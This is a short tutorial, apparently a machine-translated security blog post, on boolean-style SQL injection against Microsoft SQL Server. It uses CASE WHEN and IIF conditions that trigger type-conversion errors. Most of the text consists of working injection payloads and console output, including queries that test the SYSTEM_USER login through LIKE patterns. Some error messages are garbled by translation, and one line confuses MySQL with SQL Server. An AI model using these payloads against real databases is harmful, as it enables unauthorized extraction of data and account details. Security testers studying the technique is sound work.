A SQL Server Conditional Statement Injection Tips

Preface

During injection, you may encounter a situation, that is, there is injection. However, there is no data in the table, which causes you to fail to perform the Boolean injection. So you can use this method to obtain mysql statements case when 1 like 1 then 0 else 2*1e308 end similar effect. The methods used here are both errors that occur when data types are inconsistent and then compared. This forces the Boolean effect to be displayed.

1> select * from article;
2> go
+----+-----------+-----------+
| id | title       | content    |
+----+-----------+-----------+
|  1 | test title  | Test content  |
|  2 | Test Title 2 | Test content 2 |
+----+-----------+-----------+
(2 rows affected)

Plain Text

# Test table data: users;
​
sql server> select * from users;
+----+--------------+----------+
| id | username     | password |
+----+--------------+----------+
|  1 | test-user-01 |  123456  | 
|  2 | test-user-02 |  234567  |
+----+--------------+----------+
2 rows in set (0.00 sec)

Plain Text

sql server> SELECT system_user;
+-----------------------+
| field1                |
+-----------------------+
| sa                    |
+-----------------------+
1 row in set (0.00 sec)

Plain Text

sql server> select db_name();
+-----------------------+
| field1                |
+-----------------------+
| test                  |
+-----------------------+
1 row in set (0.00 sec)

CASE Conditional Statement

example 1

SQL: select * from article WHERE id=1 and 1=(CASE WHEN 1=1 THEN 1 ELSE 'x' END)

# the right situation
1> select * from article WHERE id=1 and 1=(CASE WHEN 1=1 THEN 1 ELSE 'x' END);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | test title | Test content |
+----+----------+----------+
(1 rows affected)

SQL :select * from article WHERE id=1 and 1=(CASE WHEN 1=2 THEN 1 ELSE 'x' END);

# wrong situation
1> select * from article WHERE id=1 and 1=(CASE WHEN 1=2 THEN 1 ELSE 'x' END);
2> go
22018 - [SQL Server]in will varchar value 'x' Convert to data type int failed.

In this way, the forced Boolean result can be achieved.

CASE Conditional Statement

SQL :select * from article WHERE id=1 and 1=(CASE WHEN system_user like '%sa%' THEN 1 ELSE 'x' END)

# Query if SYSTEM_USER is correct
1> SELECT
  *
FROM
  article
WHERE
  id = 1
AND 1 = (
  CASE
  WHEN SYSTEM_USER LIKE '%sa%' THEN
    1
  ELSE
    'x'
  END
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | test title | Test content |
+----+----------+----------+
(1 rows affected)

SQL :select * from article WHERE id=1 and 1=(CASE WHEN system_user like '% aaaaa %' THEN 1 ELSE 'x' END)

# Query the case of SYSTEM_USER error
1> SELECT
  *
FROM
  article
WHERE
  id = 1
AND 1 = (
  CASE
  WHEN SYSTEM_USER LIKE '%aaaaa%' THEN
    1
  ELSE
    'x'
  END
);
2> go
22018 - [SQL Server]in will varchar in will 'x' Convert to data type int failed.

IIF Conditional Statement

SQL :select * from article WHERE id=1 and 1=IIF(1=1,1,'x');

# the right situation
1> select * from article WHERE id=1 and 1=IIF(1=1,1,'x');
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | test title | Test content |
+----+----------+----------+
(1 rows affected)

SQL :select * from article WHERE id=1 and 1=IIF(1=2,1,'x');

# error case2
1> select * from article WHERE id=1 and 1=IIF(1=2,1,'x');
2> go
22018 - [SQL Server]in will varchar value 'x' Convert to data type int failed.

IIF Conditional Statement

# Query if SYSTEM_USER is correct
1> select * from article WHERE id=1 and 1=IIF(SYSTEM_USER LIKE '%sa%',1,'x');
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | test title| Test content |
+----+----------+----------+
(1 rows affected)

# Query the case of SYSTEM_USER error
1> select * from article WHERE id=1 and 1=IIF(SYSTEM_USER LIKE '%aaaa%',1,'x');
2> go
22018 - [SQL Server] Failed to convert varchar value 'x' to data type int.

Tutorial Boy

A SQL Server Conditional Statement Injection Tips

Preface

CASE Conditional Statement

example 1

CASE Conditional Statement

IIF Conditional Statement

IIF Conditional Statement

1 comment

The Story of 3 bugs that lead to Unauthorized RCE - Pascom Systems

Bypassing PHP WAF to Achieve Remote Code Execution In-Depth Analysis

KeePass Memory Leakage Vulnerability Analysis - CVE-2023-32784

Analyzing the Google Chrome V8 CVE-2024-0517 Out-of-Bounds Code Execution Vulnerability